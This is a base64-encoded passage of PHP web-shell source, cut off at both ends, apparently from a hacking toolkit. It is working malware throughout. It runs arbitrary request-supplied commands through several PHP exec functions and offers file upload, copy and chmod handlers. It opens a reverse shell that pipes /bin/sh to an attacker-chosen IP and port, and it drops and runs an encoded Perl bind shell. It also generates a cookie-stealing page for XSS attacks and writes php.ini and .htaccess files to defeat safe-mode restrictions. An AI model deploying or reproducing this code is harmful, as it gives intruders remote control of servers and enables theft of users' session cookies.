PC9hPjwvZm9udD48YnIgLz48YnIgLz48aHIgLz48cHJlPjxjb2RlPiIuJHJyX2NvbnRlbnQuIjwvY29kZT48L3ByZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOw0KfQ0KZnVuY3Rpb24gY29weV9maWxlX3VpKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5Db3B5IEZpbGU8L2gyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10YWJsZT48Zm9ybSBtZXRob2Q9J0dFVCc+PHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz5Db3B5IDogPGlucHV0IHNpemU9NDAgbmFtZT0nY19maWxlJyB2YWx1ZT0iLiRfR0VUWydjb3B5J10uIiA+IFRvIDogPGlucHV0IHNpemU9NDAgbmFtZT0nY190YXJnZXQnIHZhbHVlPSIuJF9HRVRbJ3BhdGgnXS4kc2VwLiI+IE5hbWUgOiA8aW5wdXQgbmFtZT0nY25fbmFtZSc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyAvPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjxiciAvPjwvY2VudGVyPjwvZGl2PiI7DQp9DQpmdW5jdGlvbiBjb3B5X2ZpbGVfYmcoKQ0Kew0KICAgIGdsb2JhbCAkc2VwOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cyhjb3B5KSkNCiAgICB7DQogICAgICAgIGlmKGNvcHkoJF9HRVRbJ2NfZmlsZSddLCAkX0dFVFsnY190YXJnZXQnXS4kc2VwLiRfR0VUWydjbl9uYW1lJ10pKQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiU3VjY2VkZWQiKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkIik7DQogICAgICAgIH0NCiAgICB9DQp9DQpmdW5jdGlvbiBjaF9wZXJtX2JnKCkNCnsNCiAgICBpZihpc3NldCgkX0dFVFsncF9maWxleCddKSAmJiBpc3NldCgkX0dFVFsnbmV3X3Blcm0nXSkpDQogICAgew0KICAgICAgICBpZihjaG1vZCgkX0dFVFsncF9maWxleCddLCAkX0dFVFsnbmV3X3Blcm0nXSkgIT1GQUxTRSkNCiAgICAgICAgew0KICAgICAgICAgICAgYWxlcnQoIlN1Y2NlZGVkLiBQZXJtaXNzaW9uIENoYW5nZWQhISEiKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkIGZvciBUaGlzIE9wZXJhdGlvbiIpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KZnVuY3Rpb24gY2hfcGVybV91aSgpDQp7DQogICAgJHBfZmlsZT0kX0dFVFsncGVybSddOw0KICAgIGVjaG8gIjxkaXYgaWQgPXJlc3VsdD48Y2VudGVyPjxoMj5OZXcgUGVybWlzc2lvbjwvaDI+PGhyIC8+PHA+PGZvcm0gbWV0aG9kPSdHRVQnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3BhdGgnIHZhbHVlPSIuZ2V0Y3dkKCkuIiA+PGlucHV0IG5hbWU9J3BfZmlsZXgnIHR5cGU9aGlkZGVuIHZhbHVlPXskcF9maWxlfSA+TmV3IFBlcm1pc3Npb24gOiA8aW5wdXQgbmFtZT0nbmV3X3Blcm0nIGlzemU9JzQwJyB2YWx1ZT0wIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBfZmlsZSkpLCAtMykuIj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PC9mb3JtPjwvcD48cD5GdWxsIEFjY2VzcyA6IDxmb250IGNvbG9yPXJlZD43NTU8L2ZvbnQ+PGJyIC8+Tm90aWNlIDogPGZvbnQgY29sb3I9cmVkPkRvbid0IHVzZSBVbml4IEFjY2VzcyBsaWtlIDc3NywgNjY2LCBldGMuIFVzZSA3NTUsIDY1NSwgZXRjPC9wPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvY2VudGVyPjwvZGl2PiI7DQogICAgY2hfcGVybV9iZygpOw0KfQ0KZnVuY3Rpb24gbWtfZmlsZV91aSgpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGJyIC8+PGJyIC8+PGZvbnQgY29sb3I9cmVkPjxmb3JtIG1ldGhvZD0nR0VUJz4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdwYXRoJyB2YWx1ZT0iLmdldGN3ZCgpLiI+DQogICAgICAgICAgTmV3IEZpbGUgTmFtZSA6IDxpbnB1dCBzaXplPSc0MCcgbmFtZT0nbmV3X2ZfbmFtZScgdmFsdWU9Ii4kX0dFVFsnbmV3X2ZpbGUnXS4iPjwvZm9udD48YnIgLz48YnIgLz48aHIgLz48YnIgLz48Y2VudGVyPg0KICAgICAgICAgIDx0ZXh0YXJlYSBzcGVsbGNoZWNrPSdmYWxzZScgY29scz0nODAnIHJvd3M9JzI1JyBjbGFzcz10ZXh0YXJlYV9lZGl0IG5hbWU9J25fZmlsZV9jb250ZW50Jz48L3RleHRhcmVhPjwvY2VudGVyPjxociAvPg0KICAgICAgICAgIDxpbnB1dCBjbGFzcz0naW5wdXRfYmlnJyB0eXBlPSdzdWJtaXQnIHZhbHVlPScgIFNhdmUgICcgLz48L2Zvcm0+PC9jZW50ZXI+PC9kaXY+IjsNCn0NCmZ1bmN0aW9uIG1rX2ZpbGVfYmcoKQ0Kew0KICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOw0KICAgICRjX3BhdGg9JF9HRVRbJ3BhdGgnXTsNCiAgICAkY19maWxlPSRfR0VUWyduZXdfZl9uYW1lJ107DQogICAgJGNfZmlsZV9jb250ZW50cz0kX0dFVFsnbl9maWxlX2NvbnRlbnQnXTsNCiAgICAkaGFuZGxlPWZvcGVuKCRjX2ZpbGUsICJ3Iik7DQogICAgaWYoISRoYW5kbGUpDQogICAgew0KICAgICAgICBhbGVydCgiUGVybWlzc2lvbiBEZW5pZWQiKTsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgZndyaXRlKCRoYW5kbGUsJGNfZmlsZV9jb250ZW50cyk7DQogICAgICAgIGFsZXJ0KCJZb3VyIGNoYW5nZXMgd2VyZSBTdWNjZXNzZnVsbHkgU2F2ZWQhIik7DQogICAgfQ0KICAgIGZjbG9zZSgkaGFuZGxlKTsNCn0NCmZ1bmN0aW9uIGNyZWF0ZV9kaXIoKQ0Kew0KICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOw0KICAgICRuZXdfZGlyPSRfR0VUWyduZXdfZGlyJ107DQogICAgaWYoaXNfd3JpdGFibGUoJF9HRVRbJ3BhdGgnXSkpDQogICAgew0KICAgICAgICBta2RpcigkbmV3X2Rpcik7DQogICAgICAgIGFsZXJ0KCJEaXJlY29yeSBDcmVhdGVkIFN1Y2Nlc3NmdWxseSIpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBhbGVydCgiQWNjZXNzIERlbmllZCBmb3IgdGhpcyBPcGVyYXRpb24iKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQpmdW5jdGlvbiBjbWQoJGNtZCkNCnsNCiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsNCiAgICAkcmVzPSIiOw0KICAgIGlmKCRfR0VUWydjbWRleGUnXSkNCiAgICB7DQogICAgICAgICRjbWQ9JF9HRVRbJ2NtZGV4ZSddOw0KICAgIH0NCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCiAgICB7DQogICAgICAgICRyZXM9c2hlbGxfZXhlYygkY21kKTsNCiAgICB9DQogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkNCiAgICB7DQogICAgICAgIGV4ZWMoJGNtZCwkcmVzKTsNCiAgICAgICAgJHJlcz1qb2luKCJcbiIsJHJlcyk7DQogICAgfQ0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCiAgICB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIHN5c3RlbSgkY21kKTsNCiAgICAgICAgJHJlcyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsgICANCiAgICB9DQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgICB7DQoJb2Jfc3RhcnQoKTsNCglwYXNzdGhydSgkY21kKTsNCgkkcmVzPW9iX2dldF9jb250ZW50cygpOw0KCW9iX2VuZF9jbGVhbigpOw0KICAgIH0NCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpDQogICAgew0KICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgwID0+IGFycmF5KCJwaXBlIiwgInIiKSwgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KICAgICAgICAkaGFuZGxlID0gcHJvY19vcGVuKCRjbWQgLCRkZXNjcmlwdG9yc3BlYyAsICRwaXBlcyk7DQogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRyZXMgLj0gZnJlYWQoJHBpcGVzWzFdLCA1MTIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmVzIC49IGZnZXRzKCRwaXBlc1sxXSw1MTIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBwY2xvc2UoJGhhbmRsZSk7DQogICAgfQ0KICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKQ0KICAgIHsNCiAgICAgICAgJGhhbmRsZSA9IHBvcGVuKCRjbWQgLCAiciIpOw0KICAgICAgICBpZihpc19yZXNvdXJjZSgkaGFuZGxlKSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRoYW5kbGUpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlcyAuPSBmcmVhZCgkaGFuZGxlLCA1MTIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRoYW5kbGUpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlcyAuPSBmZ2V0cygkaGFuZGxlLDUxMik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHBjbG9zZSgkaGFuZGxlKTsNCiAgICB9DQogICAgDQogICAgJHJlcz13b3Jkd3JhcChodG1sc3BlY2lhbGNoYXJzKCRyZXMpKTsNCiAgICBpZigkX0dFVFsnY21kZXhlJ10pDQogICAgew0KICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxmb250IGNvbG9yPWdyZWVuPjxoMj5yMDB0QFRPRjp+IzwvaDI+PC9jZW50ZXI+PGhyIC8+PHByZT4iLiRyZXMuIjwvZm9udD48L3ByZT48L2Rpdj4iOw0KICAgIH0NCiAgICByZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHVwbG9hZF9maWxlKCkNCnsNCiAgICBjaGRpcigkX1BPU1RbJ3BhdGgnXSk7DQogICAgaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZF9mJ11bJ3RtcF9uYW1lJ10sJF9GSUxFU1sndXBsb2FkX2YnXVsnbmFtZSddKSkNCiAgICB7DQogICAgICAgIGFsZXJ0KCJVcGxvYWRlZCBGaWxlIFN1Y2Nlc3NmdWxseSIpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBhbGVydCgiQWNjZXNzIERlbmllZCEhISIpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gcmV2ZXJzZV9jb25uX3VpKCkNCnsNCiAgICBnbG9iYWwgJHlvdXJfaXA7DQogICAgZWNobyAiPGRpdiBpZD0ncmVzdWx0Jz4NCiAgICAgICAgICA8Y2VudGVyPjxoMj5SZXZlcnNlIFNoZWxsPC9oMj48aHIgLz4NCiAgICAgICAgICA8YnIgLz48YnIgLz48Zm9ybSBtZXRob2Q9J0dFVCc+PHRhYmxlIGNsYXNzPXRibD4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkPjxzZWxlY3QgbmFtZT0ncmV2X29wdGlvbicgc3R5bGU9J2NvbG9yOmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7Jz4NCiAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uPlBIUCBSZXZlcnNlIFNoZWxsPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj5QRVJMIEJpbmQgU2hlbGw8L29wdGlvbj4NCiAgICAgICAgICA8L3NlbGVjdD48L3RkPjwvdHI+PHRyPg0KICAgICAgICAgIDx0ZD5Zb3VyIElQIDogPGlucHV0IG5hbWU9J215X2lwJyB2YWx1ZT0iLiR5b3VyX2lwLiI+DQogICAgICAgICAgUE9SVCA6IDxpbnB1dCBuYW1lPSdteV9wb3J0JyB2YWx1ZT0nNTYwJz4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PC90ZD48L3RyPjwvZm9ybT4NCiAgICAgICAgICA8dHI+PC90cj4NCiAgICAgICAgICA8dHI+PHRkPjxmb250IGNvbG9yPXJlZD5QSFAgUmV2ZXJzZSBTaGVsbDwvZm9udD4gOiA8Zm9udCBjb2xvcj1ncmVlbj4gbmMgLWwgLXAgPGk+cG9ydDwvaT48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGZvbnQgY29sb3I9cmVkPlBFUkwgQmluZCBTaGVsbDwvZm9udD4gOiA8Zm9udCBjb2xvcj1ncmVlbj4gbmMgPGk+c2VydmVyX2lwIHBvcnQ8L2k+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiA8L2Rpdj4iOw0KfQ0KZnVuY3Rpb24gcmV2ZXJzZV9jb25uX2JnKCkNCnsNCiAgICBnbG9iYWwgJG9zOw0KICAgICRvcHRpb249JF9SRVFVRVNUWydyZXZfb3B0aW9uJ107DQogICAgJGlwPSRfR0VUWydteV9pcCddOw0KICAgICRwb3J0PSRfR0VUWydteV9wb3J0J107DQogICAgaWYoJG9wdGlvbj09IlBIUCBSZXZlcnNlIFNoZWxsIikNCiAgICB7DQogICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxoMj5SRVNVTFQ8L2gyPjxociAvPjxiciAvPiI7DQogICAgICAgIGZ1bmN0aW9uIHByaW50aXQgKCRzdHJpbmcpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghJGRhZW1vbikNCiAgICAgICAgICAgIHsNCgkJcHJpbnQgIiRzdHJpbmdcbiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGNodW5rX3NpemUgPSAxNDAwOw0KICAgICAgICAkd3JpdGVfYSA9IG51bGw7DQogICAgICAgICRlcnJvcl9hID0gbnVsbDsNCiAgICAgICAgJHNoZWxsID0gJ3VuYW1lIC1hOyB3OyBpZDsgL2Jpbi9zaCAtaSc7DQogICAgICAgICRkYWVtb24gPSAwOw0KICAgICAgICAkZGVidWcgPSAwOw0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwY250bF9mb3JrJykpDQogICAgICAgIHsNCiAgICAgICAgICAgICRwaWQgPSBwY250bF9mb3JrKCk7DQogICAgICAgICAgICBpZiAoJHBpZCA9PSAtMSkNCiAgICAgICAgICAgIHsNCgkJcHJpbnRpdCgiRVJST1I6IENhbid0IGZvcmsiKTsNCgkJZXhpdCgxKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkcGlkKQ0KICAgICAgICAgICAgew0KCQlleGl0KDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKQ0KICAgICAgICAgICAgew0KCQlwcmludGl0KCJFcnJvcjogQ2FuJ3Qgc2V0c2lkKCkiKTsNCgkJZXhpdCgxKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRkYWVtb24gPSAxOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgcHJpbnRpdCgiV0FSTklORzogRmFpbGVkIHRvIGRhZW1vbmlzZS4gIFRoaXMgaXMgcXVpdGUgY29tbW9uIGFuZCBub3QgZmF0YWwuIik7DQogICAgICAgIH0NCiAgICAgICAgY2hkaXIoIi8iKTsNCiAgICAgICAgdW1hc2soMCk7DQogICAgICAgICRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApOw0KICAgICAgICBpZiAoISRzb2NrKQ0KICAgICAgICB7DQogICAgICAgICAgICBwcmludGl0KCIkZXJyc3RyICgkZXJybm8pIik7DQogICAgICAgICAgICBleGl0KDEpOw0KICAgICAgICB9DQogICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksICAyID0+IGFycmF5KCJwaXBlIiwgInciKSk7DQogICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KICAgICAgICBpZiAoIWlzX3Jlc291cmNlKCRwcm9jZXNzKSkNCiAgICAgICAgew0KICAgICAgICAgICAgcHJpbnRpdCgiRVJST1I6IENhbid0IHNwYXduIHNoZWxsIik7DQogICAgICAgICAgICBleGl0KDEpOw0KICAgICAgICB9DQogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsNCiAgICAgICAgc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0KICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7DQogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOw0KICAgICAgICBwcmludGl0KCI8Zm9udCBjb2xvcj1ncmVlbj5TdWNjZXNzZnVsbHkgb3BlbmVkIHJldmVyc2Ugc2hlbGwgdG8gJGlwOiRwb3J0IDwvZm9udD4iKTsNCiAgICAgICAgd2hpbGUgKDEpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmIChmZW9mKCRzb2NrKSkNCiAgICAgICAgICAgIHsNCgkJcHJpbnRpdCgiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZCIpOw0KCQlicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChmZW9mKCRwaXBlc1sxXSkpDQogICAgICAgICAgICB7DQoJCXByaW50aXQoIkVSUk9SOiBTaGVsbCBwcm9jZXNzIHRlcm1pbmF0ZWQiKTsNCgkJYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTsNCiAgICAgICAgICAgICRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOw0KICAgICAgICAgICAgaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkNCiAgICAgICAgICAgIHsNCgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSyBSRUFEIik7DQoJCSRpbnB1dCA9IGZyZWFkKCRzb2NrLCAkY2h1bmtfc2l6ZSk7DQoJCWlmICgkZGVidWcpIHByaW50aXQoIlNPQ0s6ICRpbnB1dCIpOw0KCQlmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpDQogICAgICAgICAgICB7DQoJCWlmICgkZGVidWcpIHByaW50aXQoIlNURE9VVCBSRUFEIik7DQoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpOw0KCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTVERPVVQ6ICRpbnB1dCIpOw0KCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkNCiAgICAgICAgICAgIHsNCgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RERVJSIFJFQUQiKTsNCgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7DQoJCWlmICgkZGVidWcpIHByaW50aXQoIlNUREVSUjogJGlucHV0Iik7DQoJCWZ3cml0ZSgkc29jaywgJGlucHV0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmY2xvc2UoJHNvY2spOw0KICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsNCiAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7DQogICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOw0KICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCiAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCiAgICB9DQogICAgZWxzZSBpZigkb3B0aW9uPT0iUEVSTCBCaW5kIFNoZWxsIikNCiAgICB7DQogICAgICAgIGdsb2JhbCAkYmluZF9wZXJsLCAkb3M7DQogICAgICAgICRwYmZsPSRiaW5kX3Blcmw7DQogICAgICAgICRoYW5kbHI9Zm9wZW4oIlBJS0FTS1lfcGVybF9iaW5kLnBsIiwgIndiIik7DQogICAgICAgIGlmKCRoYW5kbHIpDQogICAgICAgIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxyLCBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkYmluZF9wZXJsKSkpOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIGNyZWF0ZSBuZXcgZmlsZSIpOw0KICAgICAgICB9DQogICAgICAgIGZjbG9zZSgkaGFuZGxyKTsNCiAgICAgICAgaWYoZmlsZV9leGlzdHMoIlBJS0FTS1lfcGVybF9iaW5kLnBsIikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmKCRvcz09Im5peCIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgY21kKCJjaG1vZCAreCBQSUtBU0tZX3BlcmxfYmluZC5wbDtwZXJsIFBJS0FTS1lfcGVybF9iaW5kLnBsICRwb3J0Iik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgY21kKCJwZXJsIFBJS0FTS1lfcGVybF9iaW5kLnBsICRwb3J0Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGNvb2tpZV9qYWNrKCkNCnsNCiAgICBnbG9iYWwgJGNvb2tpZV9oaWdoamFja2VyOw0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPk5PVElDRTwvaDI+PGhyLz4iOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpKQ0KICAgIHsNCiAgICAgICAgJGNvb2s9Z3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGNvb2tpZV9oaWdoamFja2VyKSk7DQogICAgICAgICRoYW5fbGU9Zm9wZW4oImppdGhfY29va2llLnBocCIsICJ3KyIpOw0KICAgICAgICBpZigkaGFuX2xlKQ0KICAgICAgICB7DQogICAgICAgICAgICBmd3JpdGUoJGhhbl9sZSwgJGNvb2spOw0KICAgICAgICAgICAgZWNobyAiWWVzLi4uIENvb2tpZSBoaWdoamFja2VyIGlzIGdlbmVyYXRlZC48YnIgLz4gTmFtZSA6IDxhIHN0eWxlPSdjb2xvcjpncmVlbjsnIHRhcmdldD1fYmxhbmsgaHJlZj1qaXRoX2Nvb2tpZS5waHA+aml0aF9jb29raWUucGhwPC9hPjwvZm9udD4uPGJyIC8+IFJlbmFtZSBpdCBhcyA0MDQucGhwIG9yIHdoYXQgeW91IGxpa2UgYW5kIGhpZ2hqYWNrIGNvb2tpZSBvZiB5b3VyIHRhcmdldC48YnIgLz5JdCBpcyB1c2VmdWxsIGluIFhTUzxiciAvPkl0IHdpbGwgbWFrZSBhIGZpbGUgPGZvbnQgY29sb3I9cmVkPmNvbmZpZ3VyYXRpb24udHh0PC9mb250PiBpbiB0aGlzIGRpcmVjb3J5IGFuZCBzYXZlIHRoZSBjb29raWUgdmFsdWUgaW4gaXQuIDpwIGNoZWVycy4uLjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvY2VudGVyPjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+U29ycnkuLi4gR2VuZXJhdGUgQ09PS0lFIEhJR0hKQUNLRVIgZmFpbGVkPGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9jZW50ZXI+PC9kaXY+IjsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmZ1bmN0aW9uIHNhZmVfbW9kZV9mdWNrKCkNCnsNCiAgICBnbG9iYWwgJHNfcGhwX2luaSwkc19odGFjY2Vzcywkc19odGFjY2Vzc19wbCwkaW5pX3BocDsNCiAgICAkcGF0aCA9IGNoZGlyKCRfR0VUWydwYXRoJ10pOw0KICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOw0KICAgIHN3aXRjaCgkX0dFVFsnc2FmZV9tb2RlJ10pDQogICAgew0KICAgICAgICBjYXNlICJzX3BocF9pbmkiOg0KICAgICAgICAgICAgJHNfZmlsZT0kc19waHBfaW5pOw0KICAgICAgICAgICAgJHNfbmFtZT0icGhwLmluaSI7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAic19odGFjY2VzcyI6DQogICAgICAgICAgICAkc19uYW1lPSIuaHRhY2Nlc3MiOw0KICAgICAgICAgICAgJHNfZmlsZT0kc19odGFjY2VzczsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICJzX2h0YWNjZXNzX3BsIjoNCiAgICAgICAgICAgICRzX25hbWU9Ii5odGFjY2VzcyI7DQogICAgICAgICAgICAkc19maWxlPSRzX2h0YWNjZXNzX3BsOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgInNfaW5pX3BocCI6DQogICAgICAgICAgICAkc19uYW1lPSJpbmkucGhwIjsNCiAgICAgICAgICAgICRzX2ZpbGU9JGluaV9waHA7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIA0KICAgIH0NCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykmJiBmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpKQ0KICAgIHsNCiAgICAgICAgJHNfaGFuZGxlPWZvcGVuKCIkc19uYW1lIiwgIncrIik7DQogICAgICAgIGlmKCRzX2hhbmRsZSkNCiAgICAgICAgew0KICAgICAgICAgICAg